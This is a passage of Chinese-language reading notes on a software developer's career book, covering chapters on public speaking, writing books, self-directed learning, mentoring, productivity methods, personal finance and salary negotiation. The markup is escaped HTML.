&lt;p&gt;如果你不能持续不断地在你的社交媒体上保持足够的活跃度，你将会丢掉大量粉丝。&lt;/p&gt;
&lt;h3&gt;第24章 演讲、报告和培训：做“说话的极客”&lt;/h3&gt;
&lt;p&gt;演讲和举办某种形式的培训是连接普罗大众和自我营销的最有效的方式之一。&lt;/p&gt;
&lt;p&gt;演讲也是一种互动媒介，或者至少你能将其作为媒介使用。&lt;/p&gt;
&lt;p&gt;如果你先前从来没有做过公开演讲，也没有建立起自己的名声，那你不可能去重要的大会上发表演说。&lt;/p&gt;
&lt;p&gt;一开始最好是在自己的工作场合做讲座。&lt;/p&gt;
&lt;p&gt;为代码训练营和用户组举办讲座。&lt;/p&gt;
&lt;p&gt;我对在公众面前演讲怀有恐惧：公共演讲恐惧症是最常见的一种恐惧症。&lt;/p&gt;
&lt;p&gt;做培训，不论是现场培训或录制培训，都是建立自己的声誉的另一种很棒的方式，甚至还能赚点钱。&lt;/p&gt;
&lt;h3&gt;第25章 著书立说，吸引追随者&lt;/h3&gt;
&lt;p&gt;如果你想要在写作方面有所建树，就必须要与你的读者建立密切的联系。&lt;/p&gt;
&lt;p&gt;如果你也想被看作业界值得信赖的人，你也应该写本书。&lt;/p&gt;
&lt;p&gt;通过一本书可以获得一笔可观的收入是非常罕见的，而且通常作者只能获得收益的一小部分。&lt;/p&gt;
&lt;p&gt;要想让自己有机会出书，最好的办法就是明确一个有市场需求的主题，同时也能够充分展示你作为该领域专家的学识。&lt;/p&gt;
&lt;p&gt;应该提前做功课从而让自己在市场上立足。我建议你开设博客，给一些较小的杂志投稿。随着你在自己的专业领域树立起自己的声望，你可以积累更大的出版物。出版社和杂志社都愿意和拥有众多粉丝的作者合作，因为这意味着他们的名气就是发行量的保证。&lt;/p&gt;
&lt;p&gt;你应当准备一份翔实的写作提纲（文章摘要），清晰地概括自己的写作目的，明确本书的目标读者，以及你为何认为这本书会成功，为何你是写作这本书的最佳人选。你的提纲写得越好，它被出版商接受的可能性就越大。&lt;/p&gt;
&lt;p&gt;别担心自己不擅长写作。现在写作能力不行，这并不打紧。要紧的是，你现在就开始写并坚持下去，随着时间的推移你的写作技能终将会得到提高。&lt;/p&gt;
&lt;p&gt;越来越多的作者发现可以通过自出版获得成功，尤其是自己已经拥有粉丝群体的作者。&lt;/p&gt;
&lt;h3&gt;第26章 百折不挠，越挫越勇&lt;/h3&gt;
&lt;p&gt;如果想通过自己的努力获得成功，你就必须学会不在乎别人怎么想。你必须学会如何无惧自己被别人看作傻瓜。&lt;/p&gt;
&lt;p&gt;在第一次做某件让自己不自在的事情的时候，你可能无法想象终有一天自己竟然觉得做起这些事儿来如此怡然自得。&lt;/p&gt;
&lt;p&gt;你不可能专注做某件事而毫无长进，你只要坚持足够长的时间就会有收获。你的生存之道就是不必太在意。别害怕被人看作傻瓜。&lt;/p&gt;
&lt;p&gt;在互联网的世界里每个人都有权发表自己的观点，所以不要让这些打击到你。习惯些许辱骂是件好事，因为即使再完美的作品也会遭人抨击。你永远不可能取悦每一个人。&lt;/p&gt;
&lt;h2&gt;第三篇：学习&lt;/h2&gt;
&lt;h3&gt;第27章 学习怎样学习：如何自我教育&lt;/h3&gt;
&lt;p&gt;如果你一直依赖他人来教你，从来没有掌握自我教育技能，这会严重限制你提升自己的知识和技能的机会。&lt;/p&gt;
&lt;p&gt;如果我告诉你该怎么做，你可能会忘掉，但如果你自己动手做一次，你可能就记住了。如果你能将自己所学的东西教给别人，你不仅能记住，还能理解得更深刻。尽管每个人的学习风格千差万别，但是通过动手实践和教会他人，我们能学得更好。&lt;/p&gt;
&lt;p&gt;当我们能够在一件事情上尽情发挥的时候，我们的内心就更倾向于吸收更多的信息，思考更有意义的问题。&lt;/p&gt;
&lt;h3&gt;第28章 我的“十步学习法”&lt;/h3&gt;
&lt;p&gt;掌握一门技术：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;如何开始——要想开始使用自己所学的，我需要掌握哪些基本知识？&lt;/li&gt;
&lt;li&gt;学科范围——我现在学的东西有多宏大？我应该怎么做？在开始阶段，我不需要了解每个细节，但是如果我能对该学科的轮廓有大致的了解，那么将来我就能发现更多细节。&lt;/li&gt;
&lt;li&gt;基础知识——不止在开始阶段，要想使用一项特定的技术，我需要了解基本的用户案例和最常见的问题，也需要知道自己学的哪20%就能满足80%的日常应用。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;“十步学习法”的基本思想就是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;要对自己要学的内容有个基本的了解——了解自己不知道什么就足矣。&lt;/li&gt;
&lt;li&gt;然后，利用这些信息勾勒出学习的范围，即需要学哪些内容，以及学成之后又会获得什么。依靠这些知识，你可以找出各种资源（不局限于书）来帮助自己学习。&lt;/li&gt;
&lt;li&gt;最后，你可以创建自己的学习计划，列出要去学习哪些相关课程，筛选学习材料，只保留能帮助自己达成目标的优质内容。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;第29章 第 1 步到第 6 步：这些步骤只做一次&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;了解全局：
&lt;ul&gt;
&lt;li&gt;在深入探究某个主题之前至少要对其有所了解，这一点非常重要。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;确定范围：
&lt;ul&gt;
&lt;li&gt;需要决定学习的重点和学习的范围。&lt;/li&gt;
&lt;li&gt;在学习过程中，大家很容易犯的一个错误就是试图解决太大的问题而把自己搞得不堪重负。&lt;/li&gt;
&lt;li&gt;需要运用自己在上一步中获得的信息，让自己的关注点落脚到更小也更可控的范围。&lt;/li&gt;
&lt;li&gt;阐述学习的理由能够帮你明确学习范围&lt;/li&gt;
&lt;li&gt;你一次只能学一样东西。&lt;/li&gt;
&lt;li&gt;明确学习范围的时候要考虑时间因素。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;定义目标
&lt;ul&gt;
&lt;li&gt;好的成功标准应该是具体的、无二义性的。&lt;/li&gt;
&lt;li&gt;要列出某一特定的结果，或者一旦实现自己所能达到的目标你应该能够做到的事情。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;寻找资源
&lt;ul&gt;
&lt;li&gt;尽可能多的与自己所选主题相关的资源。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;创建学习计划
&lt;ul&gt;
&lt;li&gt;在这一步，你需要创建自己的学习路径。&lt;/li&gt;
&lt;li&gt;观察别人是如何教你感兴趣的主题的。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;筛选资源
&lt;ul&gt;
&lt;li&gt;对这些资源进行筛选，挑选最有价值的几项来帮你实现自己的目标。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;信息来源：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;图书&lt;/li&gt;
&lt;li&gt;博客文章&lt;/li&gt;
&lt;li&gt;在线视频&lt;/li&gt;
&lt;li&gt;专家，或者对你所想要学习的内容已经熟知的人&lt;/li&gt;
&lt;li&gt;播客&lt;/li&gt;
&lt;li&gt;源代码&lt;/li&gt;
&lt;li&gt;示例项目&lt;/li&gt;
&lt;li&gt;在线文档&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;第30章 第7步到第10步：循环往复&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;开始学习，浅尝辄止
&lt;ul&gt;
&lt;li&gt;在这一步中，你的目标是获得足够多的与所学主题相关的信息，从而能让你开始学习，并在下一步中动手操作。&lt;/li&gt;
&lt;li&gt;你要专注于掌握自己所需的、能在下一步动手操作的最小量的知识。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;动手操作，边玩边学
&lt;ul&gt;
&lt;li&gt;在操作的过程中，你的大脑自然地产生各种问题&lt;/li&gt;
&lt;li&gt;当回过头寻找问题的答案的时，不只是这些问题迎刃而解，而且你记得的东西比你学习的东西要多得多，因为你所学到的都是对你很重要的东西。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;全面掌握，学以致用
&lt;ul&gt;
&lt;li&gt;这一步的目标就是让你找回好奇心驱动的学习。&lt;/li&gt;
&lt;li&gt;没有必要把收集到的所有资料全部仔细看一遍。你只需要阅读或观看与当前所学相关的部分。我们很少能有足够的时间把一本书从头读到尾。这些资料只是帮你自学，基本上你可以以解决在动手操作中发现的问题为主要目的。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;乐为人师，融会贯通
&lt;ul&gt;
&lt;li&gt;要想确定你确实掌握了某些知识，这是唯一的办法；同时，在你将自己所学介绍给他人时，这也是查缺补漏的好办法。在这一过程中，你要切实剖析并理解自己所学的知识，将其内化到自己的思想；同时，你也要用能够让他人理解的方式精心组织这些信息。&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
你要花时间将自己学到的东西从大脑中提取出来，以别人能够理解的方式组织起来。在经历了整个这个过程之后你会发现，有很多你以为自己明白了的知识点，其实并没有摸透。于是你会将那些以前自己没太明白的东西联系起来，并且简化自己大脑中已有的信息，将它们浓缩并经常复习。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;教授知识的途径:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;撰写博客文章&lt;/li&gt;
&lt;li&gt;创建YouTube视频教程&lt;/li&gt;
&lt;li&gt;发表演讲&lt;/li&gt;
&lt;li&gt;与朋友或爱人进行对话探讨&lt;/li&gt;
&lt;li&gt;在在线论坛上回答问题&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果此方法中有些步骤对你不起作用，或者你觉得某些形式完全没有必要，完全可以弃之不理。这些步骤本身并不重要，这一学习过程背后的理念才是真正重要的。重点就是你要开发出一套适合自己的自学体系，一套你可以持续不断地加以运用而获得丰硕成果的方法体系。&lt;/p&gt;
&lt;h3&gt;第31章 寻找导师：找到你的尤达&lt;/h3&gt;
&lt;p&gt;优秀的导师可以帮助你迅速地掌握一门技术，比你自己摸索要快很多。&lt;/p&gt;
&lt;p&gt;在寻找一位导师的时候，你必须要抛开自己的判断和推理，只去关注导师的成就。&lt;/p&gt;
&lt;p&gt;最好的选择就是去自己认识的人中找，自己的朋友的朋友、家人的朋友等。&lt;/p&gt;
&lt;p&gt;招募导师最佳途径就是交换互助。&lt;/p&gt;
&lt;h3&gt;第32章 开山收徒：成为尤达一样的大师&lt;/h3&gt;
&lt;p&gt;无论你生活在哪里，也无论你从事何种职业，你总有机会在某个方面领先别人一步，所以你一定可以帮到某个人。&lt;/p&gt;
&lt;p&gt;花点儿时间思考一下你会比谁领先一步。想一想自己认识的开发人员有谁正在努力学习你已经知道的东西。&lt;/p&gt;
&lt;p&gt;做导师的好处:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;帮助他人时的成就感。&lt;/li&gt;
&lt;li&gt;深入学习和领悟知识的途径。&lt;/li&gt;
&lt;li&gt;你的徒弟有朝一日会帮到你。&lt;/li&gt;
&lt;li&gt;自身的成长。帮助别人成长的过程也就是自己成长的过程。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;要找真正有意愿去学习，并愿意为此付出努力的人做自己的门徒。&lt;/p&gt;
&lt;h3&gt;第33章 传道授业：若要学知识，必得为人师&lt;/h3&gt;
&lt;p&gt;教学的真谛则是与他人分享知识。&lt;/p&gt;
&lt;p&gt;在你的知识集合里面，总有一部分知识你并没有理解透彻到可以向别人解释，而“教”的过程能够迫使你面对这一部分。&lt;/p&gt;
&lt;p&gt;在你试图教别人的时候，你强迫自己重新组织大脑中的资料。&lt;/p&gt;
&lt;p&gt;最好的教学方式就是以谦虚的视角来观察问题，以权威的口吻去诠释问题。&lt;/p&gt;
&lt;p&gt;你教的目的是为了帮助别人，而不是为了证明自己的优越性或者寻求认可。&lt;/p&gt;
&lt;h3&gt;第34章 你需要一个学位吗，还是可以对此忽略不计&lt;/h3&gt;
&lt;p&gt;拥有学位并不是成功所必需的，但它肯定是一个限制性因素，它限制了可以提供给你的职位数量，并且某种程度上也限制了你的晋升，特别是在大公司中。&lt;/p&gt;
&lt;p&gt;没有学位可能会让你的简历被过滤掉，连被人看到的机会都没有。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;学位的好处：接受有关软件开发方面的全面的系统教育、无需经验就可以入行、有更多选择，更容易转到行政或管理岗位&lt;/li&gt;
&lt;li&gt;学位的缺点：花费原本可以赚钱的时间去学习、可能会受困于思维定势，难以打破&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果没有学历，你就不得不更多地依靠经验来证明自己的能力。&lt;/p&gt;
&lt;p&gt;不管你是拥有学位还是拥有经验，我都建议你将自己的工作成果总结为作品集。&lt;/p&gt;
&lt;p&gt;如果你既没有工作经验也没有学位的话，你最好能够展示一些自己写的代码。&lt;/p&gt;
&lt;p&gt;你也可以把自己创建的网站或者应用程序整理出来，带着这些源代码去面试。&lt;/p&gt;
&lt;p&gt;你可以通过业余时间上课的方式，在工作的同时获得学位。&lt;/p&gt;
&lt;p&gt;专业认证虽然不如学位那么有用，但是它们没学位那么贵，也能证明你在某领域的专业能力&lt;/p&gt;
&lt;h3&gt;第35章 发现自己的知识短板&lt;/h3&gt;
&lt;p&gt;如果遇到不理解的知识，不需要马上就学会，但是一定要把它添加到清单中，这样你至少可以找出自己的知识短板。&lt;/p&gt;
&lt;p&gt;知识短板高发区：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在哪些工作上花费时间最多？&lt;/li&gt;
&lt;li&gt;可以改进的重复性劳动&lt;/li&gt;
&lt;li&gt;自己没有完全理解的东西&lt;/li&gt;
&lt;li&gt;你回答不出来的面试题&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第四篇：生产力&lt;/h2&gt;
&lt;h3&gt;第36章 一切始于专注&lt;/h3&gt;
&lt;p&gt;我们的思维模式是这样的：花一些时间先把所有的事务在脑子里过一遍，然后才能达到思维高峰以完成任务。&lt;/p&gt;
&lt;p&gt;在开始一项任务之前，确保你已经做好一切可以让自己免受干扰的措施，不管是内部干扰还是外部干扰。&lt;/p&gt;
&lt;p&gt;你的目标是熬过前5～10分钟。如果能撑过10分钟，你就有足够的冲量继续。&lt;/p&gt;
&lt;h3&gt;第37章 我的私房“生产力提升计划”&lt;/h3&gt;
&lt;p&gt;我的生产力提升计划的基本思路就是，我把一周的时间分配给一个一个用时不超过两小时的小任务。我使用看板来安排自己的一周活动。&lt;/p&gt;
&lt;p&gt;我把我的一年分成4个季度，每个季度3个月。在做季度计划时，我会尽力列出我想在本季度完成的每一个大项目，我还会制订一些较小的目标。&lt;/p&gt;
&lt;p&gt;每个月的第一天我会打印出当月的月历，并且规划出每天要完成的工作。&lt;/p&gt;
&lt;p&gt;我要确保自己在开始工作之前就确切地知道自己在做什么，这项任务完成的标准又是什么。这样做可以避免因为任务定义不清晰而导致的拖延和时间浪费。&lt;/p&gt;
&lt;p&gt;无工作周：基本上在这几周里，我不会使用番茄钟，也不会把整周都排满。在无工作周里，我只做一些我喜欢的工作。这些周通常毫无成效，我迫不及待地想回到正常的运转轨道上去（紧张工作），但是这种清闲让我可以在单调的忙碌中休息一下，也会帮我牢记按照自己设定的轨道运转对富有成效地工作是多么重要。&lt;/p&gt;
&lt;p&gt;每隔几个月，我就会安排一次两周或者一个月的休假。在长假期间，我要么会把博客和播客这类任务挂起，要么只做最小量的工作，来维持自己每周的承诺。我发现，在长时间努力工作之后，这种休息是必需的。&lt;/p&gt;
&lt;h3&gt;第38章 番茄工作法&lt;/h3&gt;
&lt;p&gt;番茄工作法的基本思路是：你规划出打算一天之内完成的工作，然后设置一个时长25分钟的定时器，去完成计划中的第一项任务；在这25分钟之内，你只专注于这一项任务，心无旁骛。一旦有干扰，可以用各种方法屏蔽掉干扰，但是通常你要努力保证自己完全不被打扰。总之，你不希望自己的专注的工作状态被打断。&lt;/p&gt;
&lt;p&gt;在25分钟结束的时候，设置一个5分钟的定时器，休息一下。这就是所谓的一个“番茄钟”。每4个番茄钟后，你都需要休息一会儿，通常为15分钟。&lt;/p&gt;
&lt;p&gt;正确使用番茄工作法教会我“设置优先级”的真正价值。&lt;/p&gt;
&lt;p&gt;因为“时间盒”效应，番茄工作法还可以在心理上对你产生巨大影响。&lt;/p&gt;
&lt;p&gt;我总为自己没有做更多的事情而感到内疚。这个问题的根源在于，你无法准确地评估每天到底自己完成了多少任务，也没有为自己每天到底要完成多少任务设定明确的目标。&lt;/p&gt;
&lt;p&gt;当你在一天中为自己设置了x个番茄钟的工作目标（这一目标你完全可控）并且达成的时候，你就可以知道自己一天到底可以完成多少工作，这会让自己感觉良好，更重要的是，还能让自己放松身心。&lt;/p&gt;
&lt;p&gt;如果你饱受打断之苦，不妨告诉你的老板和同事自己在做什么，以及它将如何提高你的工作效率。&lt;/p&gt;
&lt;p&gt;每人每天能够专注地、富有成效地工作的时间是有上限的。你的时间只有这么多，要怎么利用你自己说了算。&lt;/p&gt;
&lt;h3&gt;第39章 我的“定额工作法”：我是如何做到超额完成工作的&lt;/h3&gt;
&lt;p&gt;定额工作法的规则：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;挑选一项重复性任务。&lt;/li&gt;
&lt;li&gt;明确有效时限，在此期间该任务被重复执行。&lt;/li&gt;
&lt;li&gt;明确在给定的有效时限内该任务应该完成的次数的定额。&lt;/li&gt;
&lt;li&gt;给自己承诺：一定要达成定额。&lt;/li&gt;
&lt;li&gt;调整。调高或者调低定额，但是不能在有效时间段之内调整。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;以缓慢但稳定的节奏工作，要优于快速但缺乏持久和坚持的工作方式。&lt;/p&gt;
&lt;h3&gt;第40章 对自己负责&lt;/h3&gt;
&lt;p&gt;培养出在没有人监督自己的时候也能高效工作的自我责任感非常重要。&lt;/p&gt;
&lt;p&gt;请别人来监督自己履行责任，完成自己的承诺，并没有坏处。&lt;/p&gt;
&lt;h3&gt;第41章 要不要多任务并行&lt;/h3&gt;
&lt;p&gt;有的任务适合多任务并行，有的则不适合。&lt;/p&gt;
&lt;p&gt;多任务并行的时候，很容易打破专注力，最后你不得不花时间回到之前的任务。&lt;/p&gt;
&lt;p&gt;如果你每天都因为有多个任务要完成就深陷多任务并行的泥潭，最好学会如何批量处理这些任务，一次性完成一系列互相关联的任务，而不是将它们拆分完成。&lt;/p&gt;
&lt;p&gt;适合批量处理的领域：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;处理电子邮件。&lt;/li&gt;
&lt;li&gt;打电话。&lt;/li&gt;
&lt;li&gt;修复bug。&lt;/li&gt;
&lt;li&gt;开短会。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我建议将一些对注意力要求不太高的任务与体育运动相结合。&lt;/p&gt;
&lt;h3&gt;第42章 职业倦怠：我已找到解药&lt;/h3&gt;
&lt;p&gt;无论你是接手一个新项目还是学习一项新技能，你最终都会到达这种状态：你兴趣索然，积极性低，进展异常缓慢，或者看起来毫无进展。&lt;/p&gt;
&lt;p&gt;如果能穿越到墙的另一侧，你会发现突然间一切都变得轻而易举，你的动机和兴趣再次回归。&lt;/p&gt;
&lt;p&gt;经历痛苦就是克服倦怠的秘诀。&lt;/p&gt;
&lt;h3&gt;第43章 时间是怎样被浪费掉的&lt;/h3&gt;
&lt;p&gt;看电视的最大问题就是，花在收看电视上的时间并没有获得任何实际收益。&lt;/p&gt;
&lt;p&gt;时间杀手：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;看电视。&lt;/li&gt;
&lt;li&gt;社交媒体。&lt;/li&gt;
&lt;li&gt;新闻网站。&lt;/li&gt;
&lt;li&gt;不必要的会议。&lt;/li&gt;
&lt;li&gt;烹饪。&lt;/li&gt;
&lt;li&gt;玩电子游戏（尤其是网络游戏）。&lt;/li&gt;
&lt;li&gt;工间喝咖啡休息。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;烹饪、工间喝咖啡休息或者其他你喜欢做的事情是在浪费时间吗？为了享受快乐有意识地做这些事情，就不是浪费时间，只要你是因为喜欢才特意做这些事情，而不是为了逃避自己应该完成的实际工作。&lt;/p&gt;
&lt;p&gt;我的目的不是让你抛弃生活中的喜好，只是确保你没有把时间浪费在一些没必要做或者不那么喜欢做的事情上，或者吞噬掉你所有业余时间的事情上。&lt;/p&gt;
&lt;h3&gt;第44章 形成惯例的重要性&lt;/h3&gt;
&lt;p&gt;惯例塑造你的生活，让你变得更有生产效率，惯例是让你实现目标最强大的方式之一。&lt;/p&gt;
&lt;p&gt;一个好的惯例始于一个大的目标。&lt;/p&gt;
&lt;p&gt;大目标将构成惯例的基础。你要围绕这一目标安排自己的日程。&lt;/p&gt;
&lt;p&gt;如果你为自己工作或者是在家办公，一定要制订一份日程，明确规定自己每天都做什么，包括什么时候开始工作，什么时候停止工作。这么做缺乏灵活性，但却能提高生产力，也能让你知道自己在朝着目标前进。&lt;/p&gt;
&lt;p&gt;刚开始工作的时候你就要决定好自己打算做什么。&lt;/p&gt;
&lt;p&gt;你还应该安排自己的食谱，甚至围绕着每天吃什么来形成惯例。&lt;/p&gt;
&lt;p&gt;每天的生活越有条理，就越能把控自己的生活。&lt;/p&gt;
&lt;p&gt;你应该有自己遵循的惯例，但是也要有一定的灵活性。&lt;/p&gt;
&lt;h3&gt;第45章 培养习惯：刷新你的代码&lt;/h3&gt;
&lt;p&gt;培养和养成良好的习惯可以让你不需要刻意努力就保持很高的生产效率。&lt;/p&gt;
&lt;p&gt;惯例是我们可以控制的，而习惯却不受我们控制。&lt;/p&gt;
&lt;p&gt;习惯主要由三个要素构成：暗示，惯例和奖励。暗示是导致习惯被触发的某样东西。惯例就是你做的事情，也就是习惯的本质。奖励就是让习惯真正保持下去的“锚”。&lt;/p&gt;
&lt;p&gt;找出坏习惯，再围绕这些坏习惯创造出好习惯是最简单的方法。&lt;/p&gt;
&lt;p&gt;试着从小事做起。选一个你找出来的坏习惯，不要试图马上就改变它。相反，尽量找出这个习惯被什么触发，你这么做有什么表现，以及是什么奖励激励你产生冲动要这样做。&lt;/p&gt;
&lt;p&gt;努力找出是否有别的惯例可以代替当前这个为了某个习惯正在执行的惯例。如果可能的话，尽量寻找那些会带来相似的奖励甚至相同类型的奖励的事情。&lt;/p&gt;
&lt;p&gt;强迫自己坚持足够长的时间，以使新习惯取代旧习惯。&lt;/p&gt;
&lt;p&gt;试想，你要完成的大目标是什么，看看你是否能养成某种习惯，推动你在奔向大目标的方向上前进。&lt;/p&gt;
&lt;p&gt;一旦你选定了想要养成的习惯，想想有助于激励你养成这一习惯的奖励。&lt;/p&gt;
&lt;p&gt;接下来，为你的新习惯找出暗示。&lt;/p&gt;
&lt;h3&gt;第46章 分解任务：如何吃掉一头大象&lt;/h3&gt;
&lt;p&gt;通过将大任务分解为小任务，你会发现自己更有动力去完成它们，也更加稳妥地向着目标前进。&lt;/p&gt;
&lt;p&gt;大型任务给人带来沉重的心理负担。&lt;/p&gt;
&lt;p&gt;任务越大，越难明确定义。&lt;/p&gt;
&lt;p&gt;大型任务往往也很难估算完成时间。&lt;/p&gt;
&lt;p&gt;如果我被分配了一项大任务，我要做的第一件事情就是弄清楚我能否将它分解为一连串的小任务。&lt;/p&gt;
&lt;p&gt;把大任务分解为小任务的时候，务必确保每个小任务都有一个明确的目标。&lt;/p&gt;
&lt;p&gt;如果你想要写出一个难度很大的算法，在一头扎进去写代码之前，先把这个问题分解为能够依次独立解决的小模块会更有帮助。&lt;/p&gt;
&lt;h3&gt;第47章 努力工作的价值，以及为什么你总是逃避努力工作&lt;/h3&gt;
&lt;p&gt;一切有价值的东西无一不是努力工作的结果。&lt;/p&gt;
&lt;p&gt;事实就是，有些工作很辛苦，而有些工作则很轻松。&lt;/p&gt;
&lt;p&gt;我们认为艰苦的工作最有可能是让我们获益良多的工作。&lt;/p&gt;
&lt;p&gt;努力工作总是枯燥的。&lt;/p&gt;
&lt;h3&gt;第48章 任何行动都比不采取行动好&lt;/h3&gt;
&lt;p&gt;拒绝采取行动，无数机会就会被浪费，无数可能性就会被挥霍。&lt;/p&gt;
&lt;p&gt;无论你在逃避什么，无论是什么在困扰着你，都不要拒绝采取行动。&lt;/p&gt;
&lt;p&gt;如果我们宁可选择无所作为，也不愿选择次优方案或者承担失败的风险，那么这些无关紧要的决定也会对我们的生活产生巨大的影响。&lt;/p&gt;
&lt;p&gt;有时候，当你完全不确定要做什么的时候，最好的行动就是做一些事情，然后在前进途中再调整方向。&lt;/p&gt;
&lt;p&gt;采取行动的检查表：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;阻拦我采取行动的障碍是什么？&lt;/li&gt;
&lt;li&gt;如果我需要做出选择，我的选择会是什么？我要从哪些选项中做出选择？&lt;/li&gt;
&lt;li&gt;做出了错误的选择会导致的最坏结果是什么？&lt;/li&gt;
&lt;li&gt;如果我选择失误，我可以退回去选择其他选项吗？这么做的代价高吗？&lt;/li&gt;
&lt;li&gt;选择之间的区别是否很大？我能选择可以立即采取行动的次优方案吗？&lt;/li&gt;
&lt;li&gt;我当前面临的问题有助于自我发现吗？如果开始我采取一些行动，在我发现正确的行动之前，还能进行调整吗？&lt;/li&gt;
&lt;li&gt;如果我不采取行动，会发生什么？会有什么代价？是浪费时间，错过机会，还是损失金钱？&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第五篇：理财&lt;/h2&gt;
&lt;p&gt;你在职业生涯中做出的许多关键决策很大程度上是以财务状况为基础的。&lt;/p&gt;
&lt;h3&gt;第49章 怎样支配你的薪水&lt;/h3&gt;
&lt;p&gt;我们中大多数人在对待钱的问题上，都是只看眼前，而不是长远打算。&lt;/p&gt;
&lt;p&gt;赚钱多并不能让一个人在财务上更精明。&lt;/p&gt;
&lt;p&gt;你可以建立长远的理财思维，考虑物品的实际开销，而不是根据你每个月的收入多少来确定花销多少。&lt;/p&gt;
&lt;p&gt;所谓资产，是指实用价值高于维护成本的东西。&lt;/p&gt;
&lt;p&gt;一样东西如果有资格被定义为“资产”，必须能够带来比自身成本更高的价值。&lt;/p&gt;
&lt;p&gt;所谓负债，是指成本高于带来的价值的东西。也就是说，要保有“负债”，你不得不往外掏钱，但是你永远也拿不回来与自己掏出的钱一样多的钱。&lt;/p&gt;
&lt;p&gt;当你拥有一套房子的时候，本质上你不过就是从自己手里租了一套房子而已。&lt;/p&gt;
&lt;p&gt;如果你的房子的价钱高于你所需要的基本住所的费用，那么房子对你而言就是负债。对大多数人来说，房子都是一笔巨大的负债，因为他们无法从中获得额外的实用价值，房子给他们的价值不会比租房高。&lt;/p&gt;
&lt;p&gt;如果你在购车上的开销不能给你带来比购买便宜车更高的价值，那么它就是负债。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;资产：可获得股息的股票、可供出租的不动产、债券、音乐版权授权、软件版权授权、企业&lt;/li&gt;
&lt;li&gt;负债：信用卡债务、房产（如果超过你的实际需要）、车（如果超过你的实际需要）、每月的服务费、所有随着时间推移会贬值的设备&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;任何能把钱装在你口袋里的东西才是资产，而任何需要你把钱从口袋里掏出来的东西都是负债。&lt;/p&gt;
&lt;p&gt;某些东西你买来后能够给你带来产出，或者产生的价值会高于你最初的投资，而别的东西则会消耗你的收入，或者不值你为它花的钱。&lt;/p&gt;
&lt;p&gt;如果你用自己工作赚来的钱去购买不需要辛苦工作就能够增值的资产，那么你最终只需要做相同或更少的工作就能赚到更多的钱。&lt;/p&gt;
&lt;p&gt;即使你工作一辈子，竭尽全力存钱，如果找不到理财的方法，你也永远不会变得富有，更遑论财务自由。&lt;/p&gt;
&lt;h3&gt;第50章 怎样进行薪酬谈判&lt;/h3&gt;
&lt;p&gt;自我营销做得越好，声望越高，薪酬谈判就越容易。&lt;/p&gt;
&lt;p&gt;需求最大的人在任何谈判中通常都会处于劣势。&lt;/p&gt;
&lt;p&gt;先出价的人会处于明显的劣势。&lt;/p&gt;
&lt;p&gt;如果你的要价太高，对方可能不会跟你还价，或者你会得到一个非常低的还价。&lt;/p&gt;
&lt;p&gt;千万不要先出价。直接说“不”。&lt;/p&gt;
&lt;p&gt;首先，在面试前或者填职位申请表之前，你可能会被问及你的期望薪酬。如果职位申请表上有这一字段，如果可以的话干脆空着不填，或者简单填写“根据整体薪酬方案面议”。如果必须得写个具体的数字，那就填成0美元，后续再解释为什么。&lt;/p&gt;
&lt;p&gt;如果在预审面试时被直接问及期望薪酬是多少，那就给出相同的答复，就说这取决于贵公司的整体薪酬方案，包括福利。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;应该试着尽可能绕过问题，问下面这样的一系列问题：“在给出一个确切的数额或者估算之前，我更愿意多了解一下贵公司，多了解一些我未来职位的工作内容。不过，听起来好像你是想弄清楚我们双方想的薪酬范围是否一样，这样我们就无需浪费我们的时间了。是这样吗？”
2. 很有可能你会得到一个肯定的答复。于是你可以接着问下面这样的问题：“对这个职位的薪酬，你们一定有一个预算范围，对吧？”
3.
同样，你应该也会得到一个肯定的答复。这时，如果你足够勇敢，可以在这里停顿，不再说别的。然后，你可能会听到他们关于薪酬范围的答复。但是，如果你不够勇敢，或者他们不愿意提供任何信息，你可以跟着问下面这个问题：“好吧，如果你告诉我预算范围，尽管我无法准确说出我的期望薪酬，但是我可以告诉你贵公司的薪酬预算是否符合我的心理预期。”&lt;/p&gt;
&lt;p&gt;如果你不得不先出价，那就给出一个跨度很大的范围，并且以整体薪酬方案为条件，但要确保该范围的最小值略高于你心里价位的最低值。&lt;/p&gt;
